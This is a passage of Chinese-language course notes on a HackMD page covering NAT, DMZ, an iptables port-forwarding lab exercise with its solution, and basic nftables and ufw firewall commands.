IP 從外網 IP 改成內網 IP,也就變成連線到 192.168.1.210 的 80 port,同時紀錄封包資訊 3. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.210 的 80 port (連線到 WWW 服務!) 4. 之後在回傳封包給外網主機時,會比對前面儲存的封包資訊,把來源 IP 從內網 IP 換成外網 IP,就可以傳送回去了 ### DMZ > Demilitarized Zone (非軍事區) >將內網中要開放的伺服器與沒有要開放的主機分隔開來 >讓外網有限制地存取內網資源 >當 DMZ 被攻擊時,不開放的內網主機是安全的 ![](https://i.imgur.com/dK7Woma.png) * 要開放的主機放在 DMZ , 不開放的主機放在 LAN * 外網、內網可以直接連線到 DMZ,但 DMZ 不能直接連線內網 * 所以當 DMZ 被攻擊時,因為DMZ 不能直接連線到 LAN ,所以 LAN 還會是安全的 ### 期中題目實作 ![](https://i.imgur.com/IcWbQk6.png) #### 情境 * 模擬 NAT 實作 * 一台虛擬機當作 NAT 主機 * 一台虛擬機當作內網的 webserver * 本機當作外網主機 #### 設定網卡 * NAT 主機網卡選橋接介面卡和主機介面卡 * webserver 網卡選主機介面卡 #### 設定環境 * 開啟 NAT 主機 kernel 轉發功能 ``` sudo vim /etc/sysctl.conf ``` 修改 net.ipv4.ip_forward=1,如下: ![](https://i.imgur.com/yyF2S3b.png) 接著下`sudo sysctl -p`讓 kernel 從檔案載入設定 (預設是 /etc/sysctl.conf ) * 設定 webserver gateway ``` sudo route del default sudo route add default gw {NAT主機內網IP} ``` * 讓外網(本機)找得到 webserver ``` sudo iptables -t nat -A POSTROUTING -j MASQUERADE ``` * 同意現有、相關連線轉送 ``` sudo iptables -A FORWARD -m conntrack --ctstate "ESTABLISHED,RELATED" -j ACCEPT ``` **1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port** **2. 開放 NAT 的 2222 port,連到此可以 ssh 進webServer** **3. 禁止外部 ssh 進 NAT** **4. webServer 到 NAT 的流量都允許** **5. 其餘進來的流量或轉發都禁止** #### 解答 1. 開放 NAT 的 80 port,透過連到 NAT 80 port,可以連到 webServer 的 80 port ``` sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to {webServer IP}:80 sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 80 -j ACCEPT ``` 2. 開放 NAT的 2222 port,連到此可以 ssh 進 webServer ``` sudo iptables -t nat -I PREROUTING -p tcp --dport 2222 -j DNAT --to {webServer IP}:22 sudo iptables -I FORWARD -d {webServer IP} -p tcp --dport 22 -j ACCEPT ``` 3. 禁止外部 ssh 進 NAT ``` sudo iptables -I INPUT -i {NAT 內網網卡} -p tcp --dport 22 -j DROP ``` 4. webServer 到 NAT 的流量都允許 ``` sudo iptables -I INPUT -s {webServer IP} -j ACCEPT ``` 5. 其餘進來的流量或轉發都禁止 ``` sudo iptables -A INPUT -j DROP sudo iptables -A FORWARD -j DROP ``` * filter table 結果圖 ![](https://i.imgur.com/RoICYYU.png) * nat table 結果圖 ![](https://i.imgur.com/jcuMcD2.png) ### reference * https://linux.vbird.org/linux_server/centos6/0250simple_firewall.php * https://en.wikipedia.org/wiki/Netfilter * https://read-and-thinking.blogspot.com/2009/06/iptablessnatmasquerade.html * https://ubuntuforums.org/showthread.php?t=819354 * https://ithelp.ithome.com.tw/articles/10010137 * https://hackmd.io/@ncnu-opensource/book/%2FxsE4rBjcQjivGac7GdCK7Q * https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2FTd1ytiSNSjWbFziUSRGTdA%3Fview ## nftables ### 概述 * 用來取代 iptables,減少重複的設定、更有效率... * 結合了 iptables , ip6tables , arptables 等防火牆工具 * 多了 [family](https://wiki.nftables.org/wiki-nftables/index.php/Nftables_families) , ex : ip , ip6 , inet , arp , bridge , netdev * inet 同時包含 IPv4 和 IPv6,可以不用像 iptables 和 ip6tables 分開 * 架構也是由 table , chain 和 rule 組成 ### 與iptables差異 * 語法不同 * 沒有預設的 table 和 chain,減少不必要的檢查 -> 提升效能 * 可以一個 rule 執行多個動作 * IPv4 和 IPv6 中都有的相同 rule 可以給 inet 處理 ### 安裝方法 `sudo apt install nftables` ### 把 iptables 設定檔轉到 nftables * 輸出 iptables 設定 `sudo iptables-save > iptables.conf` * 把設定轉換並載入到 nft 檔案 `sudo iptables-restore-translate -f iptables.conf > ruleset.nft` * nftables 再載入 nft 設定檔 `sudo nft -f ruleset.nft` ### 操作 #### 查看所有 table , chain , rule * 查看 table : `sudo nft list tables` * 查看 chain : `sudo nft list chains` * 查看 rule : `sudo nft list ruleset` #### 新增 table , chain , rule * 新增 table : `sudo nft add table [family] [table name]` * 新增 chain : `sudo nft add chain [family] [table name] [chain name] {type [chain type] hook [hook type] priority [value];}` * regular chain : 沒有指定 hook,需要其他 hook jump 或 goto 時才會被觸發 * base chain : 有指定 hook,會在該 hook 處理階段時被觸發 * chain type: * filter : 過濾封包 * route : 修改封包內容 * nat : NAT(網路位址轉換) * hook type(類似 iptables 的 chain,在特定階段才處理) : * input * forward * output * prerouting * postrouting * ingress(在 prerouting 之前的過濾策略) * priority (優先度)以數字表示,數字越低表示越先被匹配 * nftables 運作流程 : ![](https://i.imgur.com/GyBDRQA.png) * 新增 rules 可以先用 iptables-translate 把 iptables 指令轉成 nftables 指令 ```=1 sudo iptables-translate -A INPUT -s 192.168.1.123 -j ACCEPT # nft add rule ip filter INPUT ip saddr 192.168.1.123 counter accept ``` #### 刪除table , chain , rule * 刪除 table : `sudo nft delete table [family] [table name]` * 清空 table : `sudo nft flush table [family] [table name]` * 刪除 chain : `sudo nft delete chain [family] [table name] [chain name]` * 清空 chain : `sudo nft flush chain [family] [table name] [chain name]` * 刪除 rule : `sudo nft delete rule [family] [table name] [chain name] handle [handle number]` * handle number 在查看 ruleset 時加`-a`可以看到 * 刪除全部 table , chain , rule : `sudo nft flush ruleset` ### reference * https://hackmd.io/@0xff07/SJqzX9WnF * https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F * https://wiki.nftables.org/wiki-nftables/index.php/Main_Page * https://www.linode.com/docs/guides/how-to-use-nftables * https://www.netfilter.org/projects/nftables/manpage.html ## ufw ### 概述 * 防火牆套件 * Uncomplicated Firewall (簡化版 iptables) * 安裝指令 : `sudo apt install ufw` ### 操作 #### 開關 ufw * 查看狀態 : `sudo ufw status` * 詳細狀態 : `sudo ufw status verbose` * 啟用 ufw : `sudo ufw enable` * 關閉 ufw : `sudo ufw disable` * 重設 ufw : `sudo ufw reset` #### 查看規則 * 顯示目前規則&編號 : `sudo ufw status numbered` #### 刪除規則 * 刪除第 3 條規則 : `sudo ufw delete 3` #### 預設規則 * 預設允許 : `sudo ufw default allow` * 預設拒絕 : `sudo ufw default deny` #### port 或服務規則 * 允許 ssh port : `sudo ufw allow ssh` * 拒絕 22 port : `sudo ufw deny 22` * 允許 TCP 6000~6007 port : `sudo ufw allow 6000:6007/tcp` #### IP 規則 * 允許 192.168.11.10 的所有連線 : `sudo ufw allow from 192.168.11.10` * 拒絕 192.168.11.1 ~ 192.168.11.255 的所有連線 : `sudo ufw deny from 192.168.11.0/24` * 拒絕某 IP 連到某 port : `sudo ufw deny from 192.168.11.7 to any port 22` #### 啟用 ufw 後查看 iptables 會發現變很亂 * 用 grep 反查 ufw * `sudo iptables -L -n | grep -v ufw` * 或是直接查看 iptables 設定檔 ### reference * https://noob.tw/ufw/ * https://zh.wikipedia.org/zh-tw/Uncomplicated_Firewall

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully